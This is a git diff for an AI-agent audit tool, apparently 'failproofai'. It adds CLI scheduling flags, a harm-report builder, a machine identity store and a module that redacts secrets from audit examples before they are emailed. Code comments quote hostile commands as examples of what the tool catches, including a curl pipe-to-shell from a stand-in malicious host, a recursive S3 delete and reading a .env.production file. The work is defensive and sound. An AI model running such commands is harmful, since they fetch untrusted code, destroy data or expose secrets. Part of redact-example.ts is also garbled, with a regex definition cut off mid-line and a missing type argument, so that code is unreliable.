+ for (let i = 0; i < args.length; i += 1) {
+ const a = args[i];
+ if (a === "--schedule") {
+ // The day count is OPTIONAL, so the next token counts only when it is
+ // not itself a flag — `--schedule --email x` must not read "--email"
+ // as a number of days.
+ const next = args[i + 1];
+ if (next !== undefined && !next.startsWith("-")) {
+ days = next;
+ i += 1;
+ }
+ continue;
+ }
+ if (a === "--email" || a.startsWith("--email=")) {
+ // Both forms, because both are what people type.
+ if (a.startsWith("--email=")) {
+ email = a.slice("--email=".length);
+ } else {
+ email = args[i + 1];
+ i += 1;
+ }
+ if (email === undefined || email.length === 0 || email.startsWith("-")) {
+ die("`--email` needs an address, e.g. `--email you@yourdomain.com`.");
+ }
+ continue;
+ }
+ die(`\`audit --schedule\` does not take ${a}.`);
+ }
+
+ const { runScheduleOn, ScheduleCliError } = await import("./schedule-cli");
+ const { LoginError } = await import("./cli-login");
+ try {
+ await runScheduleOn(days, email);
+ } catch (err) {
+ // Both are "the user needs to read one sentence and try again", not a
+ // stack trace: a wrong day count, a cancelled prompt, an api-server that
+ // is not running.
+ if (err instanceof ScheduleCliError || err instanceof LoginError) die(err.message);
+ throw err;
+ }
+ process.exit(0);
+ }
+
+ // Anything else is rejected rather than silently doing a bare audit, so a
+ // typo like `--sched` does not quietly scan and exit 0 looking like it worked.
const stray = args.find((a) => a !== "--help" && a !== "-h");
if (stray) {
die(
- `\`audit\` takes no arguments yet (got: ${stray}).\n` +
- `Run \`failproofai audit\` to scan your history and open the dashboard.`,
+ `\`audit\` does not take ${stray}.\n` +
+ `Run \`failproofai audit\` to scan your history and open the dashboard,\n` +
+ `or \`failproofai audit --help\` for the scheduling commands.`,
);
}
diff --git a/src/audit/dashboard-cache.ts b/src/audit/dashboard-cache.ts
index bc2370b3e..03816a6cc 100644
--- a/src/audit/dashboard-cache.ts
+++ b/src/audit/dashboard-cache.ts
@@ -126,14 +126,38 @@ export function isCacheStale(cachedAt: string, maxAgeMinutes: number = DEFAULT_M
}
/**
- * Read just the `cachedAt` timestamp from the dashboard cache file,
- * **bypassing** the TTL check. Used by the empty-state path to tell apart
- * "no audit has ever run" from "your last audit aged out". A non-null
- * return whose age exceeds `DASHBOARD_CACHE_TTL_MINUTES` means the cache
- * was rejected by `readDashboardCache()` for being expired (rather than
- * missing or schema-incompatible).
+ * What the last audit on this machine found, **bypassing** the TTL check.
+ *
+ * Used by the empty-state path to tell apart "no audit has ever run" from
+ * "your last audit aged out" — a non-null return whose age exceeds
+ * `DASHBOARD_CACHE_TTL_MINUTES` means `readDashboardCache()` rejected it for
+ * being expired rather than missing or schema-incompatible — and by /settings
+ * to draw its LAST SCAN and FINDINGS stats.
+ *
+ * Those stats deliberately read from HERE and not from `readDashboardCache()`.
+ * That reader drops an entry once it passes the TTL, which is right for a
+ * dashboard rendering results and exactly backwards for a stat whose subject is
+ * how long ago the scan was: a page that answers "when did this last run" must
+ * not lose the answer for the crime of it having been a while. Reading the
+ * timestamp from one function and the counts from the other is the specific bug
+ * this shape prevents — "6 days ago" beside a blank findings cell, because the
+ * two disagreed about whether the same file existed.
+ *
+ * The counts come from the same object the /audit page renders, so they cannot
+ * drift from it: `totals.hits` is the headline finding count and
+ * `transcripts.scanned` the sessions behind it.
*/
-export function readDashboardCacheMeta(): { cachedAt: string } | null {
+export interface DashboardCacheSummary {
+ cachedAt: string;
+ /** `AuditResult.totals.hits` — total policy hits in that scan. */
+ findings: number | null;
+ /** `AuditResult.transcripts.scanned` — session transcripts walked. */
+ sessionsScanned: number | null;
+ /** `AuditResult.eventsScanned` — normalized tool-use events walked. */
+ eventsScanned: number | null;
+}
+
+export function readDashboardCacheMeta(): DashboardCacheSummary | null {
const cachePath = getCachePath();
if (!existsSync(cachePath)) return null;
try {
@@ -150,7 +174,19 @@ export function readDashboardCacheMeta(): { cachedAt: string } | null {
|| typeof entry.cachedAt !== "string"
|| Number.isNaN(new Date(entry.cachedAt).getTime())
) return null;
- return { cachedAt: entry.cachedAt };
+ // The counts are read defensively rather than assumed: `schemaVersion`
+ // guards the ENTRY's shape, and a torn or hand-edited `result` can still
+ // arrive with a missing field. A null count renders as "—" (unknown), which
+ // is a different claim from 0 (scanned, found nothing) — collapsing the two
+ // would report a clean machine on a file we failed to read.
+ const result = entry.result;
+ const count = (v: unknown): number | null => (typeof v === "number" && Number.isFinite(v) ? v : null);
+ return {
+ cachedAt: entry.cachedAt,
+ findings: count(result?.totals?.hits),
+ sessionsScanned: count(result?.transcripts?.scanned),
+ eventsScanned: count(result?.eventsScanned),
+ };
} catch {
return null;
}
diff --git a/src/audit/harm-report.ts b/src/audit/harm-report.ts
new file mode 100644
index 000000000..74271e00d
--- /dev/null
+++ b/src/audit/harm-report.ts
@@ -0,0 +1,260 @@
+/**
+ * Turning an audit result into a harm report the api-server can act on.
+ *
+ * Runs only after a SCHEDULED scan (`failproofai audit --scheduled`), only when
+ * the user has switched emailed reports on, and only ever from the audit child —
+ * never the daemon, which holds no human credential precisely so that refresh
+ * rotation stays inside the audit lock. See `crates/failproofaid/src/audit_lane.rs`.
+ *
+ * ## What counts as harm
+ *
+ * The policies the engine would have BLOCKED, plus the ones that caught a secret
+ * on its way into the model's context. In terms of `severityForBuiltin`, that is
+ * `deny` and `sanitize` — `block-*` and `sanitize-*` — and NOT `warn-`,
+ * `prefer-` or `require-`, which are hygiene.
+ *
+ * One name is added by hand, and it is worth explaining rather than hiding:
+ * `severityForBuiltin` derives severity from the NAME PREFIX, so
+ * `protect-env-vars` reads as `warn` despite being a policy that blocks `env` /
+ * `printenv` outright. Its whole subject is an agent reaching for the
+ * environment, which is the "read my keys" case this feature exists to report.
+ * Inheriting a scoring heuristic's blind spot into a security digest would be
+ * the wrong kind of consistency.
+ *
+ * ## The window, and the trap in `--since`
+ *
+ * `RunAuditOptions.since` filters on transcript MTIME, and that is right for
+ * what it does — it decides which files to open. It is WRONG as a window for
+ * this: a session left open for a month has a fresh mtime, so `--since 7d`
+ * hands back that whole transcript including month-old events, and the first
+ * digest would report everything the agent has ever done as though it happened
+ * this week.
+ *
+ * So the window is applied HERE, per event, against the timestamps `AuditCount`
+ * already carries — `lastSeen` to decide whether a policy fired in the window at
+ * all, and each example's own `timestamp` to decide which examples belong to it.
+ * The scan itself stays unfiltered.
+ *
+ * ## Counts are approximate; the window boundary is not
+ *
+ * `AuditCount.hits` is a total over everything scanned, and there is no
+ * per-event breakdown to subtract from it — the cache stores counts, not event
+ * lists. Rather than report a total that spans the wrong period, a policy whose
+ * activity straddles the window boundary reports the number of EXAMPLES that
+ * fall inside it, which is a real count of real events even though it is capped
+ * at three. A policy entirely inside the window reports its true total. The
+ * server's threshold reads these, so undercounting is the safe direction: it can
+ * delay a digest, never invent one.
+ */
+import type { AuditCount, AuditResult } from "./types";
+import { redactExample } from "./redact-example";
+
+/** Severities that mean "the engine would have stopped this". */
+const HARMFUL_SEVERITIES = new Set(["deny", "sanitize"]);
+
+/**
+ * Policies whose severity misreads their intent. See the module docs.
+ *
+ * Kept as an explicit list rather than by rewriting `severityForBuiltin`,
+ * because that function feeds the SCORE's gentle/medium buckets and changing it
+ * would silently move every historical score.
+ */
+const ALSO_HARMFUL = new Set(["protect-env-vars"]);
+
+/** One policy's harmful activity inside the window, as the wire expects it. */
+export interface ReportedPolicy {
+ policy: string;
+ category: string;
+ title: string;
+ hits: number;
+ first_seen?: string;
+ last_seen?: string;
+ examples: string[];
+}
+
+export interface HarmReport {
+ window_from?: string;
+ window_to: string;
+ harmful: ReportedPolicy[];
+}
+
+/** `failproofai/block-rm-rf` → `block-rm-rf`. */
+function shortName(name: string): string {
+ const slash = name.indexOf("/");
+ return slash === -1 ? name : name.slice(slash + 1);
+}
+
+export function isHarmful(count: AuditCount): boolean {
+ if (count.source !== "builtin") return false;
+ const short = shortName(count.name);
+ return HARMFUL_SEVERITIES.has(count.severity) || ALSO_HARMFUL.has(short);
+}
+
+/** Parse an ISO timestamp, or null if it is absent or unusable. */
+function ts(value: string | undefined): number | null {
+ if (!value) return null;
+ const n = Date.parse(value);
+ return Number.isFinite(n) ? n : null;
+}
+
+/**
+ * Select the harmful policies whose activity falls inside `[from, to]`.
+ *
+ * `from` undefined means "everything up to `to`", which is now only reachable
+ * by an explicit caller — `buildHarmReport` always supplies a bound. See the
+ * note there for why.
+ *
+ * `includeUnplaceable` decides what happens to a policy with NO usable
+ * timestamps. It cannot be placed, and the two failure directions are not
+ * equal: on a first report, dropping it loses a real finding; on a later one,
+ * including it re-reports something already covered. Silence about something
+ * new is the worse of the two and repetition is merely annoying, so each window
+ * gets the answer that fails the way it can afford to.
+ */
+export function selectHarmful(
+ result: AuditResult,
+ from: Date | undefined,
+ to: Date,
+ opts: { includeUnplaceable?: boolean } = {},
+): ReportedPolicy[] {
+ const includeUnplaceable = opts.includeUnplaceable ?? from === undefined;
+ const fromMs = from ? from.getTime() : null;
+ const toMs = to.getTime();
+ const out: ReportedPolicy[] = [];
+
+ for (const count of result.results) {
+ if (!isHarmful(count)) continue;
+
+ const last = ts(count.lastSeen);
+ const first = ts(count.firstSeen);
+
+ // Nothing since the watermark — this policy's whole history predates the
+ // window.
+ if (fromMs !== null && last !== null && last <= fromMs) continue;
+ // Fired entirely after the window closed (a clock skew, or a scan that
+ // raced an event). It belongs to the next report, not this one.
+ if (first !== null && first > toMs) continue;
+
+ const inWindow = count.examples.filter((e) => {
+ const at = ts(e.timestamp);
+ if (at === null) return includeUnplaceable;
+ if (fromMs !== null && at <= fromMs) return false;
+ return at <= toMs;
+ });
+
+ const unplaceable = last === null && first === null;
+ if (unplaceable && !includeUnplaceable) continue;
+
+ // Wholly inside the window → the real total. Straddling EITHER edge → the
+ // examples that actually fall inside, which undercounts but never invents.
+ //
+ // Both edges, and the upper one is not symmetry for its own sake. This used
+ // to test the lower bound alone, so a policy that started inside the window
+ // and was still firing after it closed reported `count.hits` — every hit,
+ // including the ones after `to`, while its examples were filtered to the
+ // window. Those hits then fell inside the NEXT report's window too, since
+ // the watermark advances to `to`, and were counted a second time. A digest
+ // that reports tomorrow's findings today and again tomorrow is worse than
+ // one that is late.
+ //
+ // An UNPLACEABLE policy that survived the check above reports its full
+ // count: there is nothing to narrow it with, and having decided to include
+ // it, reporting zero would be a row claiming nothing happened. It is only
+ // reachable on a first report, where over-reporting is the direction that
+ // was chosen deliberately.
+ const afterLowerEdge = fromMs === null || (first !== null && first > fromMs);
+ const beforeUpperEdge = last !== null && last <= toMs;
+ const wholly = unplaceable || (afterLowerEdge && beforeUpperEdge);
+ // A straddling policy falls back to its in-window EXAMPLES, and the audit
+ // keeps at most three of them per policy, chosen in whatever order the
+ // transcripts happened to be walked. On a machine that has been running
+ // agents for months those three are routinely all old — so a policy that
+ // fired an hour ago scored zero and was dropped, and because `firstSeen`
+ // stays before the watermark forever, it was dropped from every later report
+ // too. Not a delayed digest: a feature that goes quiet on exactly the
+ // machines with the most to report.
+ //
+ // `beforeUpperEdge` having survived the `last <= fromMs` skip above means
+ // `lastSeen` itself sits inside the window, and that timestamp IS a real
+ // event. One is the floor it proves, which keeps the "never invent a hit"
+ // rule intact while making the row exist.
+ const floor = beforeUpperEdge ? 1 : 0;
+ const hits = wholly ? count.hits : Math.max(inWindow.length, floor);
+ if (hits <= 0) continue;
+
+ out.push({
+ policy: shortName(count.name),
+ category: count.category,
+ title: count.displayTitle ?? "",
+ hits,
+ first_seen: count.firstSeen,
+ last_seen: count.lastSeen,
+ examples: inWindow.map((e) => redactExample(e.example)).filter((e) => e.length > 0),
+ });
+ }
+
+ // Most active first, so a digest truncated by anything downstream keeps the
+ // rows that matter.
+ out.sort((a, b) => b.hits - a.hits);
+ return out;
+}
+
+/**
+ * Build the report body for one scan.
+ *
+ * `window_to` is the scan's own `scannedAt` rather than "now": it is the instant
+ * the evidence was gathered, and using a later clock reading would advance the
+ * watermark past events that happened while the scan was still running — events
+ * no report would ever cover.
+ *
+ * ## A first report is bounded to one interval, not to all of history
+ *
+ * With no watermark the obvious window is "everything", and that is what this
+ * did until it was run against a real machine: the first report covered 230
+ * sessions and 22,059 tool calls and came out at **5,815 findings**. Every
+ * number in it was true and the digest was still wrong — somebody's first email
+ * would describe their agent's entire recorded history as though it were this
+ * week's news, and would trip the critical bypass on day one for essentially
+ * everyone.
+ *
+ * A digest is a statement about RECENT behaviour, so the first one covers the
+ * same period every later one does: `interval_days` back from the scan. The
+ * older findings are not lost, they are simply not news — they are on the
+ * dashboard, which is where a full history belongs.
+ *
+ * `includeUnplaceable` still follows "is this the first report", not "is there a
+ * lower bound", so a policy carrying no usable timestamps is reported once on a
+ * new machine rather than silently dropped by the bound this now always sets.
+ */
+export function buildHarmReport(
+ result: AuditResult,
+ lastReportedAt: string | undefined,
+ intervalDays: number,
+): HarmReport {
+ const to = new Date(Date.parse(result.scannedAt));
+ const windowTo = Number.isFinite(to.getTime()) ? to : new Date();
+ const watermark = ts(lastReportedAt);
+ const isFirstReport = watermark === null;
+
+ const oneInterval = Math.max(1, intervalDays) * 86_400_000;
+ const fallbackFrom = windowTo.getTime() - oneInterval;
+
+ // The watermark is the SERVER's clock; `windowTo` is this machine's. A
+ // backwards jump between them — NTP correcting a fast RTC, a VM restored from
+ // a snapshot, a dual-boot machine that wrote localtime to the hardware clock
+ // — leaves `from` LATER than `to`, and `selectHarmful` then matches nothing
+ // at all. That drops every finding silently and permanently: the watermark
+ // only ever moves forward, so the window never re-opens, while the run's
+ // outcome line still reads normal. The scheduling lane already repairs this
+ // class of jump; the reporting half did not. One interval back is a digest
+ // that is narrower than it should be, rather than one that is empty forever.
+ const from = new Date(
+ isFirstReport || watermark >= windowTo.getTime() ? fallbackFrom : watermark,
+ );
+
+ return {
+ window_from: from.toISOString(),
+ window_to: windowTo.toISOString(),
+ harmful: selectHarmful(result, from, windowTo, { includeUnplaceable: isFirstReport }),
+ };
+}
diff --git a/src/audit/machine-store.ts b/src/audit/machine-store.ts
new file mode 100644
index 000000000..b1438deec
--- /dev/null
+++ b/src/audit/machine-store.ts
@@ -0,0 +1,120 @@
+/**
+ * `~/.failproofai/audit/machine.json` — this machine's report identity.
+ *
+ * Two fields, and they are together because they share one property: both must
+ * outlive a sign-out.
+ *
+ * - `machine_id` is what the api-server keys reports on. Regenerate it and the
+ * server sees a brand-new machine, which burns a slot off the account's cap
+ * on every logout and splits one box's history into two.
+ * - `last_reported_at` is how far the last digest reached. Reset it and the
+ * next report re-covers months of history, and the user gets a digest of
+ * everything that ever happened as though it just did.
+ *
+ * That is why this is a separate file from `session.json` rather than two more
+ * keys in it: signing out deletes the session, and neither of these may go with
+ * it. `HOME_CLASSES` classifies this `identity` — never deleted, alongside
+ * `cursors/` and the telemetry id — while the tokens beside it are `user-typed`
+ * and come and go.
+ *
+ * ## The id is minted here, not borrowed
+ *
+ * `state/telemetry-id` is already a stable per-machine random id and would have
+ * been free to reuse. It is deliberately not reused: that id is the anonymous
+ * PostHog person, and sending it alongside a verified email address would link
+ * the two the moment somebody turns emailed reports on. Opting into a digest
+ * should not de-anonymise telemetry, so this feature gets its own id and the
+ * two never meet.
+ */
+import { existsSync, readFileSync, rmSync } from "node:fs";
+import { hostname } from "node:os";
+import { randomUUID } from "node:crypto";
+
+import { writeJsonAtomically } from "../../lib/atomic-write";
+import { auditMachineFile } from "../hooks/fp-home";
+
+export interface MachineIdentity {
+ /** Random, minted on first use. Opaque to the server. */
+ machine_id: string;
+ /** ISO-8601. Absent until the first digest is delivered. */
+ last_reported_at?: string;
+ /** When this id was minted. Diagnostics only. */
+ created_at: string;
+}
+
+export function readMachineIdentity(home?: string): MachineIdentity | null {
+ const path = auditMachineFile(home);
+ if (!existsSync(path)) return null;
+ try {
+ const parsed = JSON.parse(readFileSync(path, "utf8")) as Partial;
+ if (typeof parsed.machine_id !== "string" || !parsed.machine_id) return null;
+ return {
+ machine_id: parsed.machine_id,
+ last_reported_at:
+ typeof parsed.last_reported_at === "string" ? parsed.last_reported_at : undefined,
+ created_at: typeof parsed.created_at === "string" ? parsed.created_at : new Date(0).toISOString(),
+ };
+ } catch {
+ // Absent, unreadable and malformed all read as "no identity yet". The caller
+ // mints a new one, which costs a slot off the cap and a re-covered window —
+ // bad, but recoverable, and strictly better than refusing to report at all
+ // because one file got truncated.
+ return null;
+ }
+}
+
+/**
+ * Read the identity, creating it on first call.
+ *
+ * Only ever called from the reporting path, so a machine that never opts into
+ * emailed reports never gets an id at all — there is nothing to mint one for.
+ */
+export function ensureMachineIdentity(home?: string): MachineIdentity {
+ const existing = readMachineIdentity(home);
+ if (existing) return existing;
+ const fresh: MachineIdentity = {
+ machine_id: randomUUID(),
+ created_at: new Date().toISOString(),
+ };
+ writeJsonAtomically(auditMachineFile(home), fresh);
+ return fresh;
+}
+
+/**
+ * Record how far the last DELIVERED digest reached.
+ *
+ * The value is the server's `next_window_from`, not the window this run
+ * scanned. The server is authoritative because it knows which reports actually
+ * produced an email — a report held by the cooldown, or one whose send failed,
+ * must not advance the watermark or its findings are silently dropped from every
+ * future digest.
+ */
+export function recordReportWatermark(nextWindowFrom: string, home?: string): void {
+ const current = ensureMachineIdentity(home);
+ writeJsonAtomically(auditMachineFile(home), {
+ ...current,
+ last_reported_at: nextWindowFrom,
+ } satisfies MachineIdentity);
+}
+
+export function deleteMachineIdentity(home?: string): void {
+ const path = auditMachineFile(home);
+ if (existsSync(path)) rmSync(path, { force: true });
+}
+
+/**
+ * A display name for this machine — its hostname.
+ *
+ * Shown in the digest so somebody with three boxes can tell which one is
+ * misbehaving, which is the whole reason it is sent. Falls back to `undefined`
+ * rather than a placeholder: the server keeps whatever label it already has when
+ * one is omitted, so guessing here would overwrite a good name with a bad one.
+ */
+export function machineLabel(): string | undefined {
+ try {
+ const h = hostname().trim();
+ return h.length > 0 ? h : undefined;
+ } catch {
+ return undefined;
+ }
+}
diff --git a/src/audit/redact-example.ts b/src/audit/redact-example.ts
new file mode 100644
index 000000000..5062a0aa5
--- /dev/null
+++ b/src/audit/redact-example.ts
@@ -0,0 +1,312 @@
+/**
+ * What an audit example looks like by the time it is allowed to leave the box.
+ *
+ * The audit keeps up to three 80-character examples per policy, and they are
+ * slices of REAL commands and paths — `cat /home/sidd/work/acme/.env.production`,
+ * `aws s3 rm s3://prod-bucket --recursive`. Naming what happened is the whole
+ * value of the digest, and those strings are also the only thing in the report
+ * that could carry something a person would mind sending.
+ *
+ * Three transforms, in this order, and the order matters:
+ *
+ * 1. **Secrets are masked**, against `SECRET_PATTERNS` — the same list the
+ * `sanitize-*` policies block on. One definition of "secret", used for both
+ * blocking and redacting, rather than a second pattern list beside it that
+ * eventually disagrees. A second pass then catches a secret that arrived
+ * ALREADY CUT: the audit truncates examples to 80 characters at capture
+ * time, so a command ending in a credential reaches this module with the
+ * credential's tail missing and the full pattern no longer matching. See
+ * `maskTruncatedSecret`.
+ * 2. **Assigned secrets are masked** — `DATABASE_PASSWORD=hunter2`,
+ * `https://user:pass@host`, `curl -u user:pass`. These are shapes the
+ * BLOCKING patterns deliberately do not carry, because a name-based rule
+ * that denies a tool call would misfire on ordinary work. Redaction only
+ * removes characters, so it can afford the wider net. See
+ * `maskAssignedSecrets`.
+ * 3. **Home paths are shortened**, so `/home/sidd/work/acme/src/db.ts` becomes
+ * `~/…/db.ts`. The basename is what makes a finding recognisable; the
+ * directory chain is a map of someone's disk and their employer's project
+ * names.
+ *
+ * Masking runs FIRST because shortening can cut a path mid-token, and a secret
+ * embedded in a path (`.../ghp_xxxxx/...`) sliced in half stops matching its own
+ * pattern and ships as a fragment.
+ *
+ * ## What this is not
+ *
+ * It is not a guarantee. Pattern-based redaction misses formats it has never
+ * seen, and the honest framing is that this reduces exposure rather than
+ * eliminating it — which is exactly why the digest carries counts and titles as
+ * its substance and treats examples as colour. If the tradeoff ever stops being
+ * worth it, `redactExample` is the one place to change.
+ */
+import { homedir } from "node:os";
+
+import { SECRET_PATTERNS } from "../hooks/builtin-policies";
+
+/** Longest example we let through, after redaction. */
+export const REDACTED_EXAMPLE_MAX_CHARS = 160;
+
+/**
+ * Path segments kept before the basename when shortening.
+ *
+ * Zero. `~/…/db.ts` says "somewhere under home" and names the file, which is
+ * what makes a finding recognisable to the person who caused it. One segment
+ * would routinely be the project — usually a client or employer name, and the
+ * single most identifying token on the line.
+ */
+const KEPT_PARENT_SEGMENTS = 0;
+
+/** Matches an absolute POSIX-ish path with at least two segments. */
+const ABSOLUTE_PATH_RE = /(?:\/[\w.\-@+]+){2,}\/?/g;
+
+/**
+ * Roots whose paths are left intact.
+ *
+ * These are kernel and device paths — the same on every machine, identifying
+ * nobody, and shortening them actively costs readability: a real digest came
+ * back with `2>/…/null`, which reads as though something was hidden when
+ * nothing was. Everything else is shortened, including paths outside home,
+ * because "not under home" is not the same as "safe to send".
+ */
+const PUBLIC_PATH_ROOTS = ["/dev/", "/proc/", "/sys/"];
+
+/**
+ * Prefixes that BEGIN a secret, for catching one that arrives already cut.
+ *
+ * The audit truncates every example to 80 characters at capture time, long
+ * before this module sees it — so a command ending in a credential arrives with
+ * the credential's tail already gone, and the full patterns in
+ * `SECRET_PATTERNS` no longer match it. A real digest came back containing
+ * `authorization: Bearer s`, which is the first character of a live token.
+ *
+ * One character is not a usable secret. The point is that the number is set by
+ * where the truncation happened to land rather than by anything here, and the
+ * same shape with a longer prefix ships more. So a known prefix sitting at the
+ * END of the string — with nothing after it, or too little to have matched — is
+ * masked on the assumption it was cut, which costs a few characters of context
+ * in the rare case it was not.
+ *
+ * Each prefix is guarded by `(? = [
+ [/(? upper.includes(word))) return true;
+ return upper.split("_").some((part) => SECRET_NAME_COMPONENTS.includes(part));
+}
+
+/**
+ * Mask secrets whose shape is an ASSIGNMENT rather than a known vendor prefix.
+ *
+ * This is the one class the blocking patterns deliberately do not cover, and
+ * the gap mattered because `protect-env-vars` is in the digest's harmful set
+ * (`harm-report.ts`) and its dominant trigger is `export VAR=…` — so the
+ * example is the whole command, value included. `SECRET_PATTERNS` matches nine
+ * vendor-prefixed key formats, a JWT, a literal `Authorization: Bearer` and a
+ * fixed non-HTTP scheme list; none of them matches
+ * `export DATABASE_PASSWORD=hunter2-prod-acme`, and `export` is ubiquitous in
+ * agent sessions. Every one of those shipped verbatim.
+ *
+ * These patterns live HERE rather than in `SECRET_PATTERNS` on purpose, and it
+ * is not the "second list that eventually disagrees" this module warns about.
+ * The two jobs have opposite error costs: the `sanitize-*` policies BLOCK a
+ * tool call, so a false positive there is a denial of work the user wanted, and
+ * a name-based rule would deny `export EDITOR=vim` on a machine with
+ * `PASSTHROUGH` in the environment. Redaction only removes characters from a
+ * digest, so it can afford to be generous, and being generous is the point. The
+ * shared list stays the floor; this is the redactor spending its extra margin.
+ *
+ * The NAME is kept and only the value is masked — `DATABASE_PASSWORD=[REDACTED:
+ * assigned secret]` still tells the reader which credential was exposed, which
+ * is the actionable half of the finding.
+ */
+export function maskAssignedSecrets(input: string): string {
+ let out = input.replace(ASSIGNMENT_RE, (match, name: string, value: string) => {
+ if (!isSecretName(name)) return match;
+ // An earlier pass already named this one, and it named it better.
+ // `export ANTHROPIC_API_KEY=sk-ant-…` is masked by the vendor pattern as
+ // "Anthropic API key"; re-masking it here would downgrade that to the
+ // generic label and strip the marker's own tail as it went.
+ if (value.startsWith("[REDACTED")) return match;
+ return `${name}=[REDACTED: assigned secret]`;
+ });
+ out = out.replace(URL_CREDENTIALS_RE, "$1[REDACTED: URL credentials]@");
+ out = out.replace(BASIC_AUTH_FLAG_RE, "$1[REDACTED: basic auth]");
+ return out;
+}
+
+/**
+ * Mask anything matching a known secret shape.
+ *
+ * A fresh `RegExp` is built per pattern per call rather than reusing the shared
+ * literal with the `g` flag added: a global regex carries `lastIndex` across
+ * calls, so a shared instance would skip matches in the next string depending on
+ * where it stopped in the previous one — a bug that only appears once there is
+ * more than one example, and looks like flakiness rather than logic.
+ */
+export function maskSecrets(input: string): string {
+ let out = input;
+ for (const [pattern, label] of SECRET_PATTERNS) {
+ const global = new RegExp(pattern.source, pattern.flags.includes("g") ? pattern.flags : `${pattern.flags}g`);
+ out = out.replace(global, `[REDACTED: ${label}]`);
+ }
+ return out;
+}
+
+/**
+ * Replace absolute paths with `~/…/`.
+ *
+ * The home directory is resolved rather than assumed, and a path outside it is
+ * shortened too — `/etc/…/shadow`, `/var/…/secrets.yml` — because "not under
+ * home" is not the same as "safe to send", and a build agent's checkout lives
+ * under `/build` as often as anywhere.
+ */
+export function shortenPaths(input: string, home = homedir()): string {
+ // Normalised ONCE, not per match: `startsWith` against a home carrying a
+ // trailing slash fails for the home directory itself (`/home/u` does not start
+ // with `/home/u/`), which silently turned off home detection for the one path
+ // that most needed it.
+ const homeRoot = home.replace(/\/+$/, "");
+ return input.replace(ABSOLUTE_PATH_RE, (match, offset: number, whole: string) => {
+ // Kernel/device paths are the same on every machine and identify nobody.
+ if (PUBLIC_PATH_ROOTS.some((root) => match.startsWith(root))) return match;
+
+ // A URL's HOST is not a directory, and it was being deleted as one.
+ //
+ // `curl https://evil-cdn.example.com/install.sh | sh` came out as
+ // `curl https:/…/install.sh` — the domain is the entire security decision
+ // in a `block-curl-pipe-sh` finding, and it was the one token removed. The
+ // match begins at the second slash of `://`, so the scheme is checked
+ // behind it and the host kept while the path is still shortened.
+ if (offset > 0 && whole[offset - 1] === "/" && /[a-z][a-z0-9+.\-]*:$/i.test(whole.slice(0, offset - 1))) {
+ const urlSegments = match.split("/").filter(Boolean);
+ if (urlSegments.length <= 1) return match;
+ const host = urlSegments[0];
+ const leaf = urlSegments[urlSegments.length - 1];
+ const elided = urlSegments.length > 2 ? "/…" : "";
+ return `/${host}${elided}/${leaf}${match.endsWith("/") ? "/" : ""}`;
+ }
+ const trailingSlash = match.endsWith("/");
+ const segments = match.split("/").filter(Boolean);
+ if (segments.length === 0) return match;
+ const basename = segments[segments.length - 1];
+ const kept = segments.slice(
+ Math.max(0, segments.length - 1 - KEPT_PARENT_SEGMENTS),
+ segments.length - 1,
+ );
+ // `/home/u2` starts with `/home/u` as a string and is a different directory,
+ // so the boundary is checked rather than the prefix alone.
+ const matchRoot = match.replace(/\/+$/, "");
+ const underHome =
+ homeRoot.length > 0 && (matchRoot === homeRoot || matchRoot.startsWith(`${homeRoot}/`));
+
+ // The home directory ITSELF is `~`, and nothing more.
+ //
+ // Without this, `/home/sidd` shortened to `~/…/sidd` — the username kept as
+ // the basename, immediately after the `~` whose entire job is to stand in
+ // for it. The one path guaranteed to name a person was the one the redactor
+ // spelled out, and it shipped to the server and into the digest. `~/` for a
+ // trailing slash, so `cd /home/sidd/` still reads as a directory.
+ if (matchRoot === homeRoot && homeRoot.length > 0) {
+ return trailingSlash ? "~/" : "~";
+ }
+ const root = underHome ? "~" : "";
+ // `…` rather than `...` so the elision cannot be mistaken for a relative
+ // path component, and reads as one glyph in a monospace digest.
+ const middle = segments.length - kept.length - 1 > 0 ? "/…" : "";
+ const tail = [...kept, basename].join("/");
+ return `${root}${middle}/${tail}${trailingSlash ? "/" : ""}`;
+ });
+}
+
+/**
+ * Full pipeline: mask, shorten, collapse whitespace, cap.
+ *
+ * Whitespace is collapsed because a heredoc or a multi-line command reaches the
+ * digest as one row, and a raw newline there breaks the plain-text layout while
+ * saying nothing the single line does not.
+ */
+export function redactExample(input: string, home = homedir()): string {
+ // Assignment masking runs LAST of the three, so the two pattern-based passes
+ // get first refusal on anything they can name precisely. A vendor prefix
+ // yields "[REDACTED: Anthropic API key]"; falling through to this one would
+ // have said only "assigned secret", which is true but less useful to read.
+ const masked = maskAssignedSecrets(maskTruncatedSecret(maskSecrets(input)));
+ const shortened = shortenPaths(masked, home);
+ const collapsed = shortened.replace(/\s+/g, " ").trim();
+ return collapsed.length > REDACTED_EXAMPLE_MAX_CHARS
+ ? `${collapsed.slice(0, REDACTED_EXAMPLE_MAX_CHARS - 1)}…`
+ : collapsed;
+}
diff --git a/src/audit/report-harm.ts b/src/audit/report-harm.ts
new file mode 100644
index 000000000..0e1c78f79
--- /dev/null
+++ b/src/audit/report-harm.ts
@@ -0,0 +1,167 @@
+/**
+ * The side effect a scheduled audit has that no other audit does: telling the
+ * api-server what it found, so a harm digest can be mailed.
+ *
+ * Separated from `harm-report.ts` on purpose. That module is pure — result in,
+ * payload out — and is where the windowing rules live and are tested. This one
+ * is the IO: read config, read session, refresh, POST, persist the watermark. It
+ * is the part that can fail in ways that must never matter.
+ *
+ * ## Nothing here may break a scan
+ *
+ * By the time this runs the scan has already completed and its result is already
+ * on disk. Every failure below therefore returns rather than throws, and the
+ * caller reports the exit code of the SCAN, not of the report. A machine whose
+ * token expired, whose network is down, or whose api-server is having a bad day
+ * must keep auditing itself locally and keep showing results on its own
+ * dashboard — the local feature does not depend on the remote one, and a person
+ * who never enabled emailed reports must never be able to tell this code exists.
+ *
+ * ## Why the CHILD does this and not the daemon
+ *
+ * Refresh rotation is theft-detecting: presenting a spent refresh token revokes
+ * every session the user has. The dashboard already needed in-process dedup to
+ * avoid self-inflicting that. If the daemon also held and refreshed the token,
+ * that dedup would have to work across processes, and losing the race logs the
+ * user out of everything with no way to tell why. Running here keeps the token
+ * inside the audit lock, which already serialises every entry point, so only one
+ * process can hold it at a time.
+ */
+import { getValidAccessToken } from "../../lib/auth/auth-store";
+import { AuthApiError, submitAuditReport } from "../../lib/auth/api-server-client";
+import { readConfig } from "../hooks/fp-config";
+import { buildHarmReport } from "./harm-report";
+import {
+ ensureMachineIdentity,
+ machineLabel,
+ recordReportWatermark,
+} from "./machine-store";
+import type { AuditResult } from "./types";
+
+/** What happened, for the one line the scheduled run prints. */
+export type HarmReportOutcome =
+ | { kind: "disabled" }
+ | { kind: "consent-required" }
+ | { kind: "signed-out" }
+ | { kind: "sent"; hits: number }
